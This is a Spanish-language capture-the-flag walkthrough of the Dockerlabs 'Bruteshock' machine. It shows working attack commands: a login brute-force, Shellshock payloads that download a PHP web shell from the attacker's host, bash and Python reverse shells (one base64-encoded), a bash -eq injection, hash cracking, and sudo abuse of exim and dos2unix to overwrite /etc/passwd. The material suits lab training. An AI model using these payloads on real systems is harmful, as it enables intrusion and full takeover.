Habilidades: Login Page Brute Force Attack, ShellShock Attack - Remote Code Execution, User Shadow Hash Cracking using john
, Bash eq
Comparison Code Execution - [Privilege Escalation], Abusing exim
Privileges in Sudoers - [Privilege Escalation], Abusing Sudoers Privileges - dos2unix
(Overwriting the /etc/passwd
File) [Privilege Escalation]
Introducción
Bruteshock es una máquina Linux de la plataforma de Dockerlabs de dificultad Media. En esta máquina aprenderemos a explotar la vulnerabilidad shellshock
en una aplicación web alojada en un contenedor de Docker, ganar acceso al sistema se volverá todo un desafío. Además explotaremos conceptos relacionados con privilegios asignados a scripts y binarios en Linux para poco a poco elevar nuestros privilegios para ganar control total sobre el sistema.
Reconocimiento
Haremos una traza ICMP para comprobar que la máquina víctima esté activa
ping -c 1 bruteshock.dl
PING bruteshock.dl (172.17.0.2) 56(84) bytes of data.
64 bytes from bruteshock.dl (172.17.0.2): icmp_seq=1 ttl=64 time=0.093 ms
--- bruteshock.dl ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.093/0.093/0.093/0.000 ms
Nmap Scanning
Haremos un primer escaneo por el protocolo TCP, con el fin de descubrir puertos abiertos, si no encontráramos información relevante, haríamos escaneos por otros protocolos
nmap -p- --open -sS --min-rate 5000 -n -Pn bruteshock.dl -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-28 13:56 EDT
Nmap scan report for bruteshock.dl (172.17.0.2)
Host is up (0.000010s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrep
-v
: Mostrar la información en tiempo real
Ahora haremos un escaneo de servicios para detectar la versión y el tipo de servicio que se ejecuta en los puertos que hemos encontrado
nmap -p 80 -sVC bruteshock.dl -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-28 13:56 EDT
Nmap scan report for bruteshock.dl (172.17.0.2)
Host is up (0.000055s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn\'t have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
-p
: Especificar los puertos-sV
: Identificar la versión del servicio que se ejecuta-sC
: uso de scripts de reconocimiento para identificar posibles vulnerabilidades conocidas-oN
: Exportar en formatonmap
(se vea igual que el output de nmap)
Web Analysis
En este caso solamente tendríamos un puerto abierto, que correspondería al puerto 80
(HTTP). Usaremos la herramienta whatweb
para detectar las tecnologías que se están ejecutando en el servidor web
whatweb http://bruteshock.dl
http://bruteshock.dl [403 Forbidden] Apache[2.4.62], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[172.17.0.2]
Nos reporta un error 403
, esto quiere decir que no estamos autorizados a ver el contenido. Si visitamos la web a primera vista no vemos gran cosa, hasta que recargamos y nos muestra una web supuestamente privada
Cuando presionamos F5
, estamos especificando a la NSA el código secreto para que nos concedan acceso al login de la página que de primeras sería inaccesible (sarcasmo)
Esto ocurre porque se cuando iniciamos por primera vez no nos carga la cookie cookie
de PHP (PHPSESSID
)
curl -I http://bruteshock.dl
HTTP/1.0 403 Forbidden
Date: Fri, 28 Mar 2025 18:02:05 GMT
Server: Apache/2.4.62 (Debian)
Set-Cookie: PHPSESSID=q2srkbctkotmpqecc9j7r3mpqa; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
# Ahora enviamos la Cookie de sesión que conseguimos con la primera solicitud
curl -I http://bruteshock.dl -H 'Cookie: PHPSESSID=q2srkbctkotmpqecc9j7r3mpqa'
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2025 18:02:20 GMT
Server: Apache/2.4.62 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Entonces si usamos la cookie que nos proporcionó en el navegador, ahora tendremos acceso al contenido. Ahora podemos hacer el escaneo que hicimos antes con whatweb
whatweb http://bruteshock.dl -H 'Cookie: PHPSESSID=q2srkbctkotmpqecc9j7r3mpqa'
http://bruteshock.dl [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[172.17.0.2], PasswordField[password], Title[Web Privada]
Fuzzing
Como no vemos algún recurso del que podamos abusar directamente, haremos fuzzing
para descubrir directorios o archivos interesantes, lo haremos con la herramienta wfuzz
wfuzz -c --hc=404 -b 'PHPSESSID=p94n4hgjjvq1ti9f7relhhdh06' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 http://bruteshock.dl/FUZZ
-c
: Formato colorizado--hc=404
: Ocultamos las respuestas con el código de estado404
-H
: Definir una cabeceraHTTP
, en este caso es necesario enviar el valor de lacookie
de sesión-w
: Diccionario de palabras a usar-t 200
: Definimos 200 subprocesos para agilizar el proceso defuzzing
Pero no obtendremos resultados interesantes, en este punto podemos intentar hacer un ataque de fuerza bruta para intentar descubrir alguna contraseña en el login
Intrusión / Explotación
Login Page Brute Forcing
Primeramente podemos intentar hallar la contraseña de un usuario admin
(nombre común en sistemas) a través de un ataque de fuerza bruta al panel de autenticación usando wfuzz
, si no tenemos éxito podemos intentar adivinar un nombre de usuario válido, aunq
wfuzz -c --hl 69 -b "PHPSESSID=q2srkbctkotmpqecc9j7r3mpqa" -d "username=admin&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -t 200 http://bruteshock.dl
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bruteshock.dl/
Total requests: 14344392
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000013635: 200 0 L 5 W 119 Ch "christelle"
--hl 69
: Ocultamos las respuestas con69
líneas-H
: Especificamos una cabecera HTTP-d
: Definimos el contenido de los datos que enviaremos
En este caso, cada respuesta fallida posee un total de 69
líneas y un código de estado exitoso (200
), es por eso que en vez de filtrar por código de estado, filtramos por la cantidad de líneas
curl -sX POST http://bruteshock.dl -H 'Cookie: PHPSESSID=q2srkbctkotmpqecc9j7r3mpqa' -d 'username=test&password=test' | wc -l
69
En este caso hemos encontrado una contraseña christelle
supuestamente válida para el usuario admin
. Si iniciamos sesión, nos salta este recuadro con un mensaje del éxito
Nos redirige a este nuevo panel con la URL http://bruteshock.dl/pruebasUltraSecretas
Podemos ver que nos reporta un mensaje que dice: User-Agent almacenado en el log
, lo que nos puede ayudar en nuestra explotación al ser una posible pista
ShellShock Attack
Este es un ataque que se lleva a cabo a través de la cabecera User-Agent
, un bug de bash
que permite la ejecución remota de comandos, una detección para esta máquina sería la siguiente
- Habilitaremos un servidor HTTP con
python
a modo de recibir solicitudes
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ejecutamos esta solicitud http
para la URL http://bruteshock.local/pruebasUltraSecretas
curl -IX GET http://bruteshock.dl/pruebasUltraSecretas/ -A "() { :; }; curl http://172.17.0.1/test"
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2025 18:18:50 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 1873
Content-Type: text/html; charset=UTF-8
Aprovecha el bug Willy!. En el ejemplo anterior estaríamos intentando enviarnos una solicitud HTTP a nuestro servidor python3
. Es cuando el payload se ejecuta correctamente y envía una solicitud a nuestro servidor solicitando un archivo test
Uploading Malicious php
File
Aprovechando este bug podremos enviar una reverse shell
a nuestra máquina atacante, para ello crearemos un archivo que usaremos para ejecutar comandos, nos ayudaremos de Brupsuite
o curl
Archivo rce.php
echo '<?php system($_GET["cmd"]); ?>' > rce.php
Modificaremos el User-Agent
y enviaremos la siguiente solicitud, pero primero tendremos un servidor HTTP con python3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Usaremos la misma solicitud HTTP que usamos como prueba de concepto y solicitaremos nuestro archivo php
malicioso
curl -IX GET http://bruteshock.dl/pruebasUltraSecretas/ -A "() { :; }; curl http://172.17.0.1/rce.php -o rce.php"
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2025 18:21:31 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 1873
Content-Type: text/html; charset=UTF-8
En nuestro servidor HTTP deberíamos ver un GET
a nuestro archivo rce.php
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.17.0.2 - - [29/Mar/2025 10:20:42] "GET /rce.php HTTP/1.1" 200 -
Shellshock - RCE
Ahora mediante la web accedemos al archivo rce.php
, podemos hacerlo o bien desde la web o mediante curl
curl -X GET 'http://bruteshock.dl/pruebasUltraSecretas/rce.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Así se vería si hacemos la solicitud mediante el navegador
Shell as www-data
(Failed)
Podemos intentar enviarnos una shell
mediante este parámetro, para ello modificaremos el siguiente payload
bash -c "bash -i >&/dev/tcp/10.88.0.1/443 0>&1"
Nota que cambié el caracter &
por %26
para que pueda ejecutarse correctamente en el servidor
Si entramos de esta forma al poco tiempo de establecer la shell
, nos concluye la conexión, esto puede ser porque el servidor está bloqueando ciertos tipos de conexiones
python
Reverse Shell
Usaremos una reverse shell
con python3
para no depender de un TTY y abrir directamente un socket a nuestra máquina atacante, el comando sería el siguiente
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.17.0.1",4646)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]);'
Posteriormente lanzaremos una pseudo-terminal usando python. Ahora deberíamos poder tener una shell
más interactiva
nc -lvnp 4646
listening on [any] 4646 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38166
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<as$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$
Escalada de privilegios
TTY Treatment
Si hacemos el tratamiento de la TTY de la forma clásica, es posible que se interrumpa la conexión. Es por esto que usaremos python
para lanzar una pseudo consola
- Mantendremos el uso de la variable
TERM
establecido con el valorxterm
para poder limpiar la pantalla, lo fastidioso en este caso sería que debemos usar el comandoclear
en vez deCtrl + L
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<as$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ export TERM=xterm
export TERM=xterm
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ ^Z
[1] + 131393 suspended nc -lvnp 4646
incommatose@parrot~$ stty raw -echo; fg
[1] + 131393 continued nc -lvnp 4646
reset xterm
Finalmente ajustamos las proporciones al tamaño de la terminal para poder tener una visualización más cómoda
stty rows 44 columns 189
Vemos un recurso IMPORTANTE.txt
en /
, veamos su contenido
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ ls /
IMPORTANTE.txt bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ cat /IMPORTANTE.txt
cat /IMPORTANTE.txt
Importantisimo ver nuestros github:
DarksBlack:
https://github.com/DarksBlackSk/
maciiii___:
https://github.com/Maciferna/
(Posible) Sudoers Privileges
Listaremos los privilegios que tengamos asignados con sudo
para ver si tenemos capacidad para ejecutar un archivo. Cuidado con hacer este comando porque se nos va la shell pal carajo si presionamos Ctrl + C
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ sudo -l
sudo -l
[sudo] password for www-data:
Nos pide la contraseña del usuario www-data
, pero como no la tenemos, seguiremos buscando otra forma de escalar
(Posible) SUID Binaries
Listaremos aquellos binarios los cuales tengan asignado el permiso suid
asignado
www-data@5c050710a415:/var/www/html/pruebasUltraSecretas$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/exim4
Vemos que existe exim4
, pero esta versión no sería vulnerable a algún CVE
reportado. Iremos a la carpeta /home
para ver si podemos ver el contenido de algún usuario
www-data@5c050710a415:/home$ ls -la
ls -la
total 0
drwxr-xr-x 1 root root 36 Nov 1 03:28 .
drwxr-xr-x 1 root root 180 Mar 29 14:16 ..
drwx------ 1 darksblack darksblack 92 Nov 1 04:37 darksblack
drwxr-xr-x 1 maci maci 56 Nov 1 04:42 maci
drwx------ 1 pepe pepe 92 Nov 2 05:58 pepe
Tendríamos permisos solamente en la carpeta maci
. Existe un script de bash
llamado script.sh
en la carpeta del usuario maci
, y al parecer podemos ejecutarlo
www-data@5c050710a415:/home$ ls -la maci
ls -la maci
total 8
drwxr-xr-x 1 maci maci 56 Nov 1 04:42 .
drwxr-xr-x 1 root root 36 Nov 1 03:28 ..
lrwxrwxrwx 1 root root 9 Nov 1 03:16 .bash_history -> /dev/null
drwxr-xr-x 1 maci maci 10 Nov 1 04:32 .local
-rwxr-xr-x 1 maci maci 104 Nov 1 04:42 script.sh
(Posible) Bash eq
Code Execution
Existe una forma de escalar privilegios mediante el uso de la comparación -eq
de bash
, donde el uso de doble corchetes permite inyectar un comando ([[ $num -eq 123123 ]]
)
www-data@5c050710a415:/home/maci$ cat script.sh
cat script.sh
#!/bin/bash
read -rp "Adivina: " num
if [[ $num -eq 123123 ]]
then
echo "Si"
else
echo "ERROR"
fi
if [[ $num -eq 123123 ]]
Sería la sentencia de la podríamos abusar para elevar nuestros privilegios
El script se comporta de la siguiente manera si lo ejecutamos normalmente
www-data@5c050710a415:/home/maci$ ./script.sh
./script.sh
Adivina: 1
1
ERROR
Para aprovechar esto y escalar privilegios, ejecutaremos el script como el usuario propietario
sudo -u maci ./script.sh
Cuando nos pida adivinar pegaremos lo siguiente
Adivina: a[$(/bin/bash >&2)]+42
a[$(/bin/bash >&2)]+42
www-data@5c050710a415:/home/maci$
Pero tendremos un problemita, no conocemos la contraseña para el usuario www-data
, por lo que necesitamos disponer de credenciales válidas para ejecutar este recurso. No nos será posible escalar nuestros privilegios usando este método, así que buscaremos otras formas para migrar a otro usuario
System Enumeration - Readable Files
Buscaremos archivos en el sistema cuyo miembro sea cada usuario en cuestión
www-data@5c050710a415:/home/maci$ find / -user "darksblack" -readable 2>/dev/null
/var/backups/darksblack
/var/backups/darksblack/.darksblack.txt
-user
: Usuario propietario-readable
: Capacidad de lectura
Si inspeccionamos el archivo vemos lo siguiente
www-data@5c050710a415:/home/maci$ cat /var/backups/darksblack/.darksblack.txt
darksblack:$y$j9T$LHiaZ3.V.uZMQWNKIHQaK.$yucUM837WonVbazf5eQWEmFnG5u0ZY5VTxH37NhaCE5:20028:0:99999:7:::
Shadow Hash Cracking
Parece ser el hash
del archivo /etc/shadow
para el usuario darksblack
, intentaremos crackear este hash usando la herramienta john
. Copiaremos el hash y lo guardaremos en un archivo hash.txt
(por ejemplo)
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
salvador1 (darksblack)
1g 0:00:02:11 DONE (2025-03-29 11:59) 0.007620g/s 119.2p/s 119.2c/s 119.2C/s elizabeth3..nissan350z
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
--format=crypt
: Detectar el algoritmo usado de forma automática para Unix--wordlist
: Especificamos el diccionario a usar para crackear el hash
Shell as darksblack
Hemos encontrado la contraseña salvador1
para el usuario darksblack
, por lo que ya podemos migrar a este usuario
www-data@5c050710a415:/home/maci$ su darksblack
Password:
www-darksblack@5c050710a415:/home/maci$
Sudoers Privileges - script.sh
Inicialmente comprobaremos los privilegios sudo
para este nuevo usuario
darksblack@5c050710a415:/home/maci$ sudo -l
sudo -l
Matching Defaults entries for darksblack on 5c050710a415:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User darksblack may run the following commands on 5c050710a415:
(maci) NOPASSWD: /home/maci/script.sh
Shell as maci
- Bash eq
Podemos ejecutar el script.sh
que descubrimos anteriormente, por lo que ahora intentamos elevar nuestro privilegio usando sudo
darksblack@5c050710a415:/home/maci$ sudo -u maci ./script.sh
Adivina: a[$(/bin/sh >&2)]+42
$ whoami
maci
$ id
uid=1000(maci) gid=1000(maci) groups=1000(maci)
Recordemos que el payload que usamos es el siguiente
a[$(/bin/sh >&2)]+42
a[]
: Estamos haciendo una llamada a un arraya
$()
: Usamos esta sintaxis para referirnos a un comando a nivel de sistema/bin/sh >&2
: Lanza unabash
y redirige la salida estándar alstderr
, esto no afecta al funcionamiento de la consola
Entendiendo cada parte del payload, estaríamos ejecutando una sh
en el valor de entrada del script.
- Para volver a una consola de
bash
, simplemente escribimosbash
Sudoers Privileges - exim
Listaremos los privilegios sudo
que tenemos asignados para el usuario actual
maci@5c050710a415:~$ sudo -l
Matching Defaults entries for maci on 5c050710a415:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User maci may run the following commands on 5c050710a415:
(pepe) NOPASSWD: /usr/sbin/exim
Podemos ejecutar exim
como el usuario pepe
, por lo que podemos intentar ejecutar bash
como este usuario, para ejecutar algún comando a través de exim
, podemos hacerlo mediante el siguiente comando
exim -be '${run{/usr/bin/id}}'
Crearemos un recurso que nos envíe una consola como el usuario pepe
. Para esto, podemos hacer uso de un pequeño script que envíe un socket con python3
import socket, subprocess, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 443))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
Enviaremos esto a un archivo privesc
en el directorio /tmp
, lo haremos de la siguiente manera
maci@5c050710a415:/var/www/html/pruebasUltraSecretas$ echo "aW1wb3J0IHNvY2tldCwgc3VicHJvY2Vzcywgb3MsIHB0eQpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxNzIuMTcuMC4xIiwgNDQzKSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCksIDEpCm9zLmR1cDIocy5maWxlbm8oKSwgMikKcHR5LnNwYXduKCIvYmluL2Jhc2giKQ==" | base64 -d > /tmp/privesc.py && chmod +x /tmp/privesc.py
Shell as pepe
Nos ponemos en escucha con nc
por el puerto 443
para recibir la shell
nc -lvnp 443
Ejecutamos la reverse shell que creamos anteriormente abusando de la capacidad que tenemos de ejecutar exim
como el usuario pepe de la siguiente forma
sudo -u pepe exim -be '${run{/bin/bash -c "python3 /tmp/privesc.py"}}'
Y estaríamos conectados como el usuario pepe
, ahora finalmente nos queda escalar a root
nc -lvnp 443
listening on [any] 443 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 33484
pepe@5c050710a415:/$ id
uid=1002(pepe) gid=1002(pepe) groups=1002(pepe),100(users)
pepe@5c050710a415:/$
Getting a Fully TTY
Hacemos un tratamiento de la TTY para poder hacer Ctrl + C
y Ctrl + L
, lo haremos cómodamente a través de python3
, porque con el comando script
la shell nos dice: “Hasta la próximaaaa…”
pepe@5c050710a415:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
pepe@5c050710a415:/$ export TERM=xterm
export TERM=xterm
pepe@5c050710a415:/$ export SHELL=/bin/bash
export SHELL=/bin/bash
pepe@5c050710a415:/$ ^Z
[1] + 212803 suspended nc -lvnp 443
root@parrot exploits # stty raw -echo;fg
[1] + 212803 continued nc -lvnp 443
reset xterm
pepe@5c050710a415:/$ stty columns 189 rows 44
Sudoers Privileges - dos2unix
Listaremos nuestros privilegios sudo
para ver si tenemos acceso a un recurso nuevo el cual podamos explotar para elevar nuestros privilegios
pepe@5c050710a415:/$ sudo -l
Matching Defaults entries for pepe on 5c050710a415:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User pepe may run the following commands on 5c050710a415:
(ALL : ALL) NOPASSWD: /usr/bin/dos2unix
Tenemos capacidad de ejecutar dos2unix
sin proporcionar contraseña y como cualquier usuario. Con la capacidad de escritura de archivos con dos2unix
, podemos llevar a cabo una escalada de privilegios mediante una escritura privilegiada
Usaremos el contenido de /etc/passwd
para nuestra escalada, primeramente hacemos una copia del /etc/passwd
en algún directorio como /tmp
Necesitamos que la línea del archivo donde se encuentra root
esté sin la letra x
, al eliminar la “x” en el campo de contraseña de root
, indicaríamos al sistema que root
no tiene contraseña almacenada en /etc/shadow
. Esto dejaría la cuenta root
accesible sin contraseña
Entonces creamos un nuevo archivo en el directorio /tmp
, aplicando dicha teoría
pepe@5c050710a415:/$ cat /etc/passwd | grep root | tr -d 'x' > /tmp/passwd
pepe@5c050710a415:/$ cat /etc/passwd | grep -v root >> /tmp/passwd
Y el archivo /tmp/passwd
debería verse de la siguiente manera, con la línea del usuario root
sin la x
correspondiente
Root time - Overwriting the /etc/passwd
File
Ahora preparamos el entorno para usar ambos archivos en nuestra escalada de privilegios
pepe@5c050710a415:/$ passwd_new=/tmp/passwd
pepe@5c050710a415:/$ passwd_old=/etc/passwd
Ejecutamos dos2unix
con sudo
y usando ambos archivos
pepe@5c050710a415:/$ sudo /usr/bin/dos2unix -f -n "$passwd_new" "$passwd_old"
dos2unix: converting file /tmp/passwd to file /etc/passwd in Unix format...
Finalmente cambiamos al usuario root
con el comando su
pepe@5c050710a415:/$ su
root@5c050710a415:/# id
uid=0(root) gid=0(root) groups=0(root)